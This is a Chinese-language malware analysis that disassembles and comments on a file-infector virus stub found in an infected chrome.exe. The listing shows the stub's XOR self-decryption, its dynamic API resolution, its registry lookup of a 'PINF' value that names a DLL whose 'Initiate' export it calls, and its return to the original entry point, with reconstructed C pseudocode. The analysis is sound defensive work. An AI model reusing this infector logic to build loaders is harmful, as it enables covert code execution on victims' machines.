.lif_:004D5000
.lif_:004D5000 public start
.lif_:004D5000 start:
.lif_:004D5000 nop
.lif_:004D5001 nop
.lif_:004D5002 push 52FD874Ch
.lif_:004D5007 pop ecx
.lif_:004D5008 push (offset loc_4D5022+2)
.lif_:004D500D pop edx
.lif_:004D500E nop
.lif_:004D500F push 598h
.lif_:004D5014 pop esi
.lif_:004D5015 nop
.lif_:004D5016
.lif_:004D5016 loc_4D5016: ; CODE XREF: .lif_:004D5026 j
.lif_:004D5016 push dword ptr [edx+esi]
.lif_:004D5019 xor [esp], ecx
.lif_:004D501C pop dword ptr [edx+esi]
.lif_:004D501F nop
.lif_:004D5020 nop
.lif_:004D5021 dec esi
.lif_:004D5022
.lif_:004D5022 loc_4D5022: ; DATA XREF: .lif_:004D5008 o
.lif_:004D5022 sub esi, 3
.lif_:004D5025 nop
.lif_:004D5026 jnz short loc_4D5016
.lif_:004D5028 movsb
.lif_:004D5029 cli
.lif_:004D502A cld
push 52FD874Ch
pop ecx
push dword ptr [edx+esi]
xor [esp], ecx
pop dword ptr [edx+esi]
start:
mov ecx,52FD874Ch
mov edx,4D5024h
mov esi,598h
label:
xor [edx+esi],ecx
sub esi,4
jnz label
004D5028:
movsb
„„
seg000:004D5000 ;org 4D5000h
seg000:004D5000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing,gs:nothing
seg000:004D5000 nop
seg000:004D5001 nop
seg000:004D5002 push 52FD874Ch
seg000:004D5007 pop ecx
seg000:004D5008 push (offset loc_4D5022+2)
seg000:004D500D pop edx
seg000:004D500E nop
seg000:004D500F push 598h
seg000:004D5014 pop esi
seg000:004D5015 nop
seg000:004D5016
seg000:004D5016 loc_4D5016: ; CODE XREF:
seg000:004D5026 j
seg000:004D5016 push dword ptr [edx+esi]
seg000:004D5019 xor [esp], ecx
seg000:004D501C pop dword ptr [edx+esi]
seg000:004D501F nop
seg000:004D5020 nop
seg000:004D5021 dec esi
seg000:004D5022
seg000:004D5022 loc_4D5022: ; DATA XREF:
seg000:004D5008 o
seg000:004D5022 sub esi,3
seg000:004D5025 nop
seg000:004D5026 jnz short loc_4D5016
seg000:004D5028 call sub_4D51AA
seg000:004D51AA push ebp
seg000:004D51AB mov ebp, esp
seg000:004D51AD add esp, 0FFFFFEC0h
seg000:004D51B3 mov eax, ebp
;eax指向栈帧基址
seg000:004D51B5 add eax, 4
;eax指向函数返回地址
seg000:004D51B8 mov edx, ebp
;edx指向栈帧基址
seg000:004D51BA push ebx
seg000:004D51BB push esi
seg000:004D51BC push edi
seg000:004D51BD xor ebx, ebx
;ebx清零
seg000:004D51BF mov edi, [eax]
;edi此时为函数返回地址,即004D5028+0x5
seg000:004D51C1 lea ecx, [ebp+var_38]
;ecx指向v_38
seg000:004D51C4 sub edi, 5
;edi 此时为004D5028,之后将以edi为基址寄存器寻址“数据段”。
seg000:004D51C7 mov eax, [edi+0Ch]
; 可见[edi+0Ch]处的值是个dword,我们将004D5028+0x0c处的数据转换为dword,结果为 ; 0x4A2C0
seg000:004D51CA lea esi, [edi+84h]
;esi指向[edi+84h],edi+84h处是什么呢?去004D5028 + 0x84处看一下,结果发现有K e r n e l
;等字符。貌似这里esi指向字符串,而且还是系统dll名称。不妨直接把004D50AC处开始
;的区域转换为字符串看看。不断地使用A键,结果如下:
;seg000:004D50AC aKernel32_dll db 'Kernel32.dll',0
;seg000:004D50B9 aGettemppatha db 'GetTempPathA',0
;seg000:004D50C6 aGettempfilenam db 'GetTempFileNameA',0 ;seg000:004D50D7 aCreatefilea db 'CreateFileA',0
;seg000:004D50E3 aReadfile db 'ReadFile',0
;seg000:004D50EC aWritefile db 'WriteFile',0
;seg000:004D50F6 aSetfilepointer db 'SetFilePointer',0
;seg000:004D5105 aClosehandle db 'CloseHandle',0
;seg000:004D5111 aGettickcount db 'GetTickCount',0
;seg000:004D511E aGetmodulefilen db 'GetModuleFileNameA',0
;seg000:004D5131 aAdvapi32_dll db 'ADVAPI32.dll',0
;seg000:004D513E aRegopenkeyexa db 'RegOpenKeyExA',0
;seg000:004D514C aRegqueryvaluee db 'RegQueryValueExA',0 ;seg000:004D515D aRegclosekey db 'RegCloseKey',0
;seg000:004D5169 aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
;seg000:004D519C aPinf db 'PINF',0 ;seg000:004D51A1 aInitiate db 'Initiate',0
;可见,esi现在可能指向字符串“Kernel32.dll”,也可能被用于字符串表基址。具体是什么,
;继续向下看。现在我们可以确定的是:edi+0x84(004D50AC)至edi+0x182(004D51AA)之
;间的内容为字符串表 seg000:004D51D0 add eax, [edi+8]
;edi + 0x8 是004D5030,[edi+8]处也是个dword,值为0x400000,而原eax的值上边已经分析出
;来了是0x4A2C0。而 0x400000最有可能的是exe模块的加载基址,而相应的,把基址加
;到eax上,显然这里的eax应该是个RVA了。具体这个RVA值是什么含义呢?猜测可能是
;入口点什么的。用调试器载入未被感染的样本chrome.exe,结果入口点是:0x44A2C0。可见,
;这个RVA值确实是原程序入口点的RVA。现在已经基本确定数据段中两个字段的含义:
;edi + 8: OEP的RVA
;edi + 0Ch:原程序加载基址(module base )
;此条指令完成后,eax 为OEP (原始入口点)
seg000:004D51D3 add edx, 4
;edx指向函数返回地址
seg000:004D51D6 mov [edx], eax
;修改函数返回地址为eax,而这里的eax正是OEP。也就是说,本函数返回后,程序将跳转
;至OEP执行,加载原始程序。
seg000:004D51D8 push esi
;esi为字符串表/某特定字符串 基址
;参数2压栈
seg000:004D51D9 push edi
;edi 为数据段基址
;参数1压栈
seg000:004D51DA push ecx
;ecx为栈区变量v_38的地址,这里可能用作缓冲区基址,也可能指向具体变量
;参数0压栈
seg000:004D51DB call sub_4D524A
seg000:004D524A sub_4D524A proc near ; CODE XREF:
sub_4D51AA+31p
seg000:004D524A
seg000:004D524A arg_0 = dword ptr 8
;arg_0: 缓冲区基址,也可能指向具体变量
seg000:004D524A arg_4 = dword ptr 0Ch
;arg_4: 数据段基址
seg000:004D524A arg_8 = dword ptr 10h
;arg_8: 字符串表/某特定字符串 基址
seg000:004D524A
seg000:004D524A push ebp
seg000:004D524B mov ebp, esp
seg000:004D524D push ebx
seg000:004D524E push esi
seg000:004D524F push edi
seg000:004D5250 mov eax, [ebp+arg_4]
;eax = arg_4
seg000:004D5253 mov ebx, [ebp+arg_0]
;ebx = arg_0
seg000:004D5256 mov edi, [ebp+arg_8]
;edi = arg_8
seg000:004D5259 mov edx, [eax+20h]
seg000:004D525C mov ecx, [edx]
seg000:004D525E mov [ebx], ecx
;[ebx] =[ [eax+20h]]
seg000:004D5260 mov eax, [ebp+arg_4]
;eax = arg_4
seg000:004D5263 mov edx, [eax+20h]
seg000:004D5266 add edx, 4
seg000:004D5269 mov ecx, [edx]
seg000:004D526B mov [ebx+4], ecx
;[ebx+4] =[ [eax+20h]+4]
;由于出现了ebx + 4的字样,可见,arg_0是被当作缓冲区基址来使用的。现在可以确定arg_0
;为缓冲区基址,而不是某特定变量地址。
;类似地,[eax+20h]极可能是一个缓冲区地址,而eax为arg_4,数据段基址。
seg000:004D526E push edi
;edi为arg_8,字符串表/字符串 基址
;参数0压栈
seg000:004D526F call dword ptr [ebx]
;这个call不知道调用的是什么,须用调试器了。结果证明是调用得LoadLibraryA,参数
;为”Kernel32.dll”。同时,也可以确定 [arg_4 + 20h] + 0 的地方保存的是LoadLibraryA 的地址,
;arg_0 + 0 的地方保存LoadLibraryA地址。
seg000:004D5271 mov esi, eax
;esi 为kernel32.dll 的基址
seg000:004D5273 test esi, esi
seg000:004D5275 jz loc_4D5307
;如果kernel32.dll加载失败,函数直接返回0
seg000:004D527B mov eax, [ebp+arg_4]
seg000:004D527E push dword ptr [eax+24h]
seg000:004D5281 push esi
;esi为kernel32.dll模块基址
seg000:004D5282 call dword ptr [ebx+4]
; 这里又得用调试器了,发现调用的是GetProcAddress,参数为“GetTempPathW”
;可见,[arg_4 + 20h] +4 位置保存的是GetProcAddress 的地址
;arg_0 + 4 的地方保存GetProcAddress的地址
;arg_4 + 24h 处保存指向“GetTempPathW”字符串的指针
seg000:004D5285 mov edx, [ebp+arg_4]
seg000:004D5288 mov ecx, [edx+20h]
seg000:004D528B mov [ecx], eax
;[[arg_4+20h]+0] = GetProcAddress(“GetTempPathW”)
;[arg_4 + 20h] +0 的位置原来保存的是LoadLibraryA的地址,现在被替换为GetTempPathW的
;地址
seg000:004D528D mov eax, [ebp+arg_4]
seg000:004D5290 push dword ptr [eax+28h] seg000:004D5293 push esi
;esi为kernel32.dll的基址 seg000:004D5294 call dword ptr [ebx+4]
;调用GetProcAddress,参数为kernel32的基址和字符串“GetLastError”,其中“GetLastErr ;or”来自于调试结果。
seg000:004D5297 mov edx, [ebp+arg_4]
seg000:004D529A mov ecx, [edx+20h]
seg000:004D529D add ecx, 4
seg000:004D52A0 mov [ecx], eax
;[[arg_4+20h]+4] = GetProcAddress(“GetLastError”)
;[arg_4 + 20h] +4 的位置原来保存的是GetProcAddress的地址,现在被替换为GetLastErro ;r的地址
seg000:004D52A2 lea eax, [edi+0Dh]
;edi是arg_8,字符串/字符串表 基址,值为004D50AC。而0Dh正好为字符串“kernel32.dll”
;(包括结尾的0)的长度。所以这里edi+0dh是在寻址下一个字符串“GetTempPathA”
;可见,edi被当作字符串表基址去处理的。也就是说,arg_8是字符串表基址,而不是用于
;某个特定字符串的基址。
seg000:004D52A5 push eax
;eax指向字符串“GetTempPathA”
seg000:004D52A6 push esi
;esi为kernel32.dll的基址
seg000:004D52A7 call dword ptr [ebx+4]
;调用GetProcAddress
seg000:004D52AA mov [ebx+8], eax
;[arg_0 + 8 ] = GetProcAddress(“GetTempPathA”)
;arg_0 + 8 的地方保存GetTempPathA的地址
seg000:004D52AD lea edx, [edi+1Ah]
seg000:004D52B0 push edx
seg000:004D52B1 push esi
seg000:004D52B2 call dword ptr [ebx+4]
seg000:004D52B5 mov [ebx+0Ch], eax
;arg_0 + 0ch 的地方保存GetTempFileNameA的地址
seg000:004D52B8 lea ecx, [edi+2Bh]
seg000:004D52BB push ecx
seg000:004D52BC push esi
seg000:004D52BD call dword ptr [ebx+4]
seg000:004D52C0 mov [ebx+10h], eax
;arg_0 + 10h 的地方保存CreateFileA的地址
seg000:004D52C3 lea eax, [edi+37h]
seg000:004D52C6 push eax
seg000:004D52C7 push esi
seg000:004D52C8 call dword ptr [ebx+4]
seg000:004D52CB mov [ebx+14h], eax
;arg_0 + 14h 的地方保存ReadFile的地址
seg000:004D52CE lea edx, [edi+40h]
seg000:004D52D1 push edx
seg000:004D52D2 push esi
seg000:004D52D3 call dword ptr [ebx+4]
seg000:004D52D6 mov [ebx+18h], eax
;arg_0 + 18h 的地方保存WriteFile的地址
seg000:004D52D9 lea ecx, [edi+4Ah]
seg000:004D52DC push ecx
seg000:004D52DD push esi
seg000:004D52DE call dword ptr [ebx+4]
seg000:004D52E1 mov [ebx+1Ch], eax
;arg_0 + 1ch 的地方保存SetFilePointer的地址
seg000:004D52E4 lea eax, [edi+59h]
seg000:004D52E7 push eax
seg000:004D52E8 push esi
seg000:004D52E9 call dword ptr [ebx+4]
seg000:004D52EC mov [ebx+20h], eax
;arg_0 + 20h 的地方保存CloseHandle的地址
seg000:004D52EF lea edx, [edi+65h]
seg000:004D52F2 push edx
seg000:004D52F3 push esi
seg000:004D52F4 call dword ptr [ebx+4]
seg000:004D52F7 mov [ebx+24h], eax
;arg_0 + 24h 的地方保存GetTickCount的地址
seg000:004D52FA lea ecx, [edi+72h]
seg000:004D52FD push ecx
seg000:004D52FE push esi
seg000:004D52FF call dword ptr [ebx+4]
seg000:004D5302 mov [ebx+28h], eax
;arg_0 + 28h 的地方保存GetModuleFileNameA的地址
seg000:004D5305 jmp short loc_4D530B
;去4D530B继续
seg000:004D5307 ; --------------------------------------------------------------------------- seg000:004D5307
seg000:004D5307 loc_4D5307: ; CODE XREF:
sub_4D524A+2Bj
seg000:004D5307 xor eax, eax
seg000:004D5309 jmp short loc_4D534C s
eg000:004D530B ; ---------------------------------------------------------------------------
seg000:004D530B
seg000:004D530B loc_4D530B: ; CODE XREF:
sub_4D524A+BBj
seg000:004D530B lea edx, [edi+85h] seg000:004D5311 push edx seg000:004D5312 call dword ptr [ebx]
seg000:004D5314 mov esi, eax
;esi = LoadLibraryA(“ADVAPI32.dll”);
;esi仍然为模块基址
seg000:004D5316 test esi, esi
seg000:004D5318 jz short loc_4D5346
;模块加载失败,函数直接返回0
seg000:004D531A lea eax, [edi+92h]
seg000:004D5320 push eax
seg000:004D5321 push esi
seg000:004D5322 call dword ptr [ebx+4]
seg000:004D5325 mov [ebx+2Ch], eax
;arg_0 + 2ch 的地方保存RegOpenKeyExA的地址
seg000:004D5328 lea edx, [edi+0A0h]
seg000:004D532E push edx
seg000:004D532F push esi
seg000:004D5330 call dword ptr [ebx+4]
seg000:004D5333 mov [ebx+30h], eax
;arg_0 + 30h 的地方保存RegQueryValueExA的地址
seg000:004D5336 add edi, 0B1h
;直接调整edi指向字符串“RegCloseKey”
seg000:004D533C push edi
seg000:004D533D push esi seg000:004D533E call dword ptr [ebx+4] seg000:004D5341 mov [ebx+34h], eax
;arg_0 + 34h 的地方保存RegCloseKey的地址
seg000:004D5344 jmp short loc_4D534A
;处理成功完成,函数返回1。
seg000:004D5346 ; --------------------------------------------------------------------------- seg000:004D5346
seg000:004D5346 loc_4D5346: ; CODE XREF:
sub_4D524A+CEj
seg000:004D5346 xor eax, eax
seg000:004D5348 jmp short loc_4D534C
seg000:004D534A ; --------------------------------------------------------------------------- seg000:004D534A
seg000:004D534A loc_4D534A: ; CODE XREF:
sub_4D524A+FAj
seg000:004D534A mov al, 1
seg000:004D534C
seg000:004D534C loc_4D534C: ; CODE XREF:
sub_4D524A+BFj
seg000:004D534C ; sub_4D524A+FEj
seg000:004D534C pop edi
seg000:004D534D pop esi
seg000:004D534E pop ebx
seg000:004D534F pop ebp
seg000:004D5350 retn 0Ch
seg000:004D5350 sub_4D524A endp
seg000:004D51E0 test al, al
seg000:004D51E2 jz short loc_4D5242
;如果sub_4D524A 的返回值为 0(失败),则退出病毒体,控制传递给OEP
seg000:004D51E4 push esi
;esi为字符串表指针 ;参数2压栈
seg000:004D51E5 lea eax, [ebp+var_38]
seg000:004D51E8 push eax
;eax 为函数地址表指针
;参数1压栈
seg000:004D51E9 lea edx, [ebp+var_140]
seg000:004D51EF push edx
;edx 指向v_140,由于v_140还未被初始化,猜测v_140应该是一个接收数据的变量或者
;或者缓冲区,这要等到sub_4D5356的函数体分析完成后才能确定
;参数0压栈
seg000:004D51F0 call sub_4D5356
seg000:004D5356 var_8 = dword ptr -8
seg000:004D5356 var_4 = dword ptr -4
seg000:004D5356 arg_0 = dword ptr 8
;arg_0 : 指向某变量/缓冲区的指针
seg000:004D5356 arg_4 = dword ptr 0Ch
;arg_4:函数地址表指针
seg000:004D5356 arg_8 = dword ptr 10h
;arg_8:字符串表指针
seg000:004D5356
seg000:004D5356 push ebp
seg000:004D5357 mov ebp, esp
seg000:004D5359 add esp, 0FFFFFFF8h
seg000:004D535C lea eax, [ebp+var_4]
;eax指向v_4
seg000:004D535F push ebx
seg000:004D5360 push esi
seg000:004D5361 push edi
seg000:004D5362 xor ebx, ebx
;ebx清零
seg000:004D5364 mov edi, [ebp+arg_8]
;edi :字符串表指针
seg000:004D5367 mov esi, [ebp+arg_4]
;esi:函数地址表指针
seg000:004D536A mov [ebp+var_8], 106h
;v_8 = 0x106
seg000:004D5371 push eax
;eax为指向v_4的指针
;参数4压栈
seg000:004D5372 push 20019h
;参数3 ( 0x20019)压栈
seg000:004D5377 lea edx, [edi+0BDh]
;edx = edi + 0xbd,查字符串表可以确定此时的edx指向字符串 ; “Software\Microsoft\Windows\CurrentVersion\Explorer”
seg000:004D537D push 0
;参数2 ( 0 )压栈
seg000:004D537F push edx
;参数1(字符串指针)压栈
seg000:004D5380 push 80000001h
;参数0( 0x80000001h )压栈
seg000:004D5385 call dword ptr [esi+2Ch]
;查函数地表,esi + 2ch 保存的是RegOpenKeyExA的入口地址( 2ch 对应序数11)
;调用RegOpenKeyExA( 0x80000001,”……explorer”,0,0x20019,,&v_4)
;查询MSDN以及SDK中的头文件确定此函数调用中出现的常数的含义
;0x80000001 : HKEY_CURRENT_USER
; 0 :options
; 0x20019 : 打开权限相关的常数。KEY_READ (0x20019)
;此处的函数调用要打开注册表键
;HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Explorer
;句柄保存在变量v_4中
seg000:004D5388 test eax, eax
seg000:004D538A jnz short loc_4D53B2
;如果注册表打开失败,则直接返回0
seg000:004D538C lea ecx, [ebp+var_8]
;ecx指向变量v_8,v_8已经被初始化为0x106 seg000:004D538F add edi, 0F0h
;edi开始为字符串表指针,加上0xf0以后,指向字符串“PINF” seg000:004D5395 push ecx
;参数5(v_8的指针)压栈
seg000:004D5396 push [ebp+arg_0]
;arg_0: 指向某变量/缓冲区的指针
;参数4压栈 seg000:004D5399 push 0
;参数3压栈 seg000:004D539B push 0
;参数2压栈 seg000:004D539D push edi
;参数1(字符串“PINF”的指针)压栈
seg000:004D539E push [ebp+var_4]
;v_4 :注册表键句柄
;参数0压栈
seg000:004D53A1 call dword ptr [esi+30h]
;查函数地表,esi + 30h 保存的是RegQueryValueKeyEx的入口地址( 30h 对应序数12)
;查MSDN以及SDK头文件,确定各个参数的含义 ;参数0:注册表鍵句柄
;参数1:表示键值名称的字符串指针
;参数2:未用,设为0
;参数3:指向双字的变量,用于接收键值类型,可以为NULL,这里0表示NULL
;参数4:指向输出缓冲区的指针
;参数5:指向双字变量(v_8),该变量指出输出缓冲区的大小,函数返回时,值被修改成实
;际复制到输出缓冲区的数据大小。V_8 初始值为0x106,可见arg_0是指向一个大小为0x106
;字节的缓冲区,这里还无法确定“PINF”的值是什么类型,该类型的确定需要看后期怎么
;使用arg_0指向的缓冲区了。
seg000:004D53A4 test eax, eax
seg000:004D53A6 setz bl
seg000:004D53A9 and ebx, 1
;RegQueryValueKeyEx成功返回,设置ebx为1,否则为0
seg000:004D53AC push [ebp+var_4]
;参数0(注册表键句柄)压栈
seg000:004D53AF call dword ptr [esi+34h]
;查函数地表,esi + 34h 保存的是RegCloseKey的入口地址( 34h 对应序数13) seg000:004D53B2
seg000:004D53B2 loc_4D53B2: ; CODE XREF:
sub_4D5356+34j
seg000:004D53B2 mov eax, ebx
;return ebx
seg000:004D53B4 pop edi
seg000:004D53B5 pop esi
seg000:004D53B6 pop ebx
seg000:004D53B7 pop ecx
seg000:004D53B8 pop ecx
seg000:004D53B9 pop ebp
seg000:004D53BA retn 0Ch
seg000:004D53BA sub_4D5356 endp
DWORD CheckReg( OUT LPBYTE buffer )
{
HANDLE hKey;
DWORD Result ,cbBufSize = 0x106;
Result = RegOpenKeyExA( HKEY_CURRENT_USER,”
Software\Microsoft\Windows\CurrentVersion\Explorer”,0,KEY_READ,&hKey );
If( Result )return 0;
Result =! RegQueryValueKeyEx( hKey,”PINF”,0,NULL,buffer,&cbBufSize );
RegCloseKey( hKey );
return Result;
}
seg000:004D51F5 test al, al
seg000:004D51F7 jz short loc_4D5217
;如果sub_4D5356A 的返回值为 0,则控制传递给 4D5217
seg000:004D51F9 cmp [ebp+var_140], 7
seg000:004D5201 jb short loc_4D5217
;查看一下IDA对v_140的类型描述,为word型。可见,v_140占用了大小为0x106字节的
;缓冲区前两个字节。而且被用作一个无符号数。结合以上的分析,该0x106字节的缓冲区
;所代表的数据类型很可能是REG_BINARY
;如果 v_140小于7,则同样跳转到4D5217。这里的7代表什么含义呢?到函数4D51AA分
;析完成的时候再对此进行说明。
seg000:004D5203 push esi
;esi: 字符串表基址 ;参数3压栈
seg000:004D5204 push edi
;edi:数据段基址 ;参数2压栈
seg000:004D5205 lea ecx, [ebp+var_38]
seg000:004D5208 push ecx
;ecx:函数地址表基址 ;参数1压栈
seg000:004D5209 lea eax, [ebp+var_13E]
seg000:004D520F push eax
;eax:指向v_13E 注意,&v_13e = &v_140 + sizeof(WORD),可见v_13e属于上边已经被初始化
;的大小为0x106的缓冲区。这里指针eax很可能被用作输入参数而不是输出参数。
;参数0(缓冲区指针&v_140+2)压栈。
seg000:004D5210 call sub_4D53BE
seg000:004D53BE sub_4D53BE proc near ; CODE XREF:
sub_4D51AA+66p
seg000:004D53BE ; sub_4D51AA+93p
seg000:004D53BE
seg000:004D53BE arg_0 = dword ptr 8
;arg_0:缓冲区基址(指向的缓冲区极可能用于输入)
seg000:004D53BE arg_4 = dword ptr 0Ch
;arg_4:函数地址表基址
seg000:004D53BE arg_8 = dword ptr 10h
;arg_8:数据段基址
seg000:004D53BE arg_C = dword ptr 14h
;arg_C:字符串表基址
seg000:004D53BE
seg000:004D53BE push ebp
seg000:004D53BF mov ebp, esp
seg000:004D53C1 push ebx
seg000:004D53C2 mov ebx, [ebp+arg_4]
;ebx:函数地址表基址(指针)
seg000:004D53C5 push [ebp+arg_0]
;arg_0 缓冲区基址,这里可以看出指向的缓冲区明显是用于输入的(已经被初始化)
;参数0压栈 seg000:004D53C8 call dword ptr [ebx]
;查询函数地址表,确认这里调用的是0号函数,LoadLibraryA,因此也可以知道,刚压入的
;参数arg_0指向某表示(dll)模块路径的字符串
seg000:004D53CA test eax, eax
seg000:004D53CC jz short loc_4D53ED
;模块加载失败,则直接返回0
seg000:004D53CE mov edx, [ebp+arg_C]
seg000:004D53D1 add edx, 0F5h
seg000:004D53D7 push edx
;查询字符串表,可知edx指向字符串“Initiate”
seg000:004D53D8 push eax
;eax: 刚加载模块的基址
seg000:004D53D9 call dword ptr [ebx+4]
;查询函数地址表,得知此处调用的是1号函数 GetProcAddress,
;明显这里要取得刚加载模块中导出函数 Initiate 的地址
seg000:004D53DC test eax, eax
seg000:004D53DE jz short loc_4D53ED
;如果获取Initiate函数地址失败,直接返回0
seg000:004D53E0 push [ebp+arg_8]
;参数0(数据段基址arg_8)压栈
seg000:004D53E3 call eax
;调用Initiate 函数,这里可知Initiate函数有一个参数,即指向数据段的指针
seg000:004D53E5 test al, al
seg000:004D53E7 jz short loc_4D53ED
seg000:004D53E9 mov al, 1
;如果Initiate函数返回0,则返回0,否则返回1
seg000:004D53EB jmp short loc_4D53EF
seg000:004D53ED ; --------------------------------------------------------------------------- seg000:004D53ED
seg000:004D53ED loc_4D53ED: ; CODE XREF:
sub_4D53BE+Ej seg000:004D53ED ; sub_4D53BE+20j ...
seg000:004D53ED xor eax, eax
seg000:004D53EF
seg000:004D53EF loc_4D53EF: ; CODE XREF:
sub_4D53BE+2Dj seg000:004D53EF pop ebx
seg000:004D53F0 pop ebp
seg000:004D53F1 retn 10h
seg000:004D53F1 sub_4D53BE endp
DWORD CheckAndCallInitiate ( IN LPBYTE ModuleName ,IN LPVOID DataBase)
{
HMODULE hMod = LoadLibraryA( ModuleName );
PVOID func_Initiate = NULL;
If( !hMod )return 0;
func_Initate = GetProcAddress( hMod,”Initiate”);
If( !func_Initiate )return 0;
If(*((DWORD (*)(PVOID))func_Initiate)( DataBase ))
return 1;
return 0;
}
;在函数sub_4D53BE分析完成后,我们可以确定v_140所在的大小为0x106的缓冲区(由注
;册表初始化)的含义,即:前两个字节是一个WORD ,后面是一个指出模块名称的字符串。
seg000:004D5215 mov ebx, eax
seg000:004D5217
seg000:004D5217 loc_4D5217: ; CODE XREF:
sub_4D51AA+4Dj
seg000:004D5217 ; sub_4D51AA+57j
seg000:004D5217 test bl, bl
seg000:004D5219 jnz short loc_4D5242
;如果函数CheckAndCallInitiate返回1,则控制传递给OEP执行原始程序。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)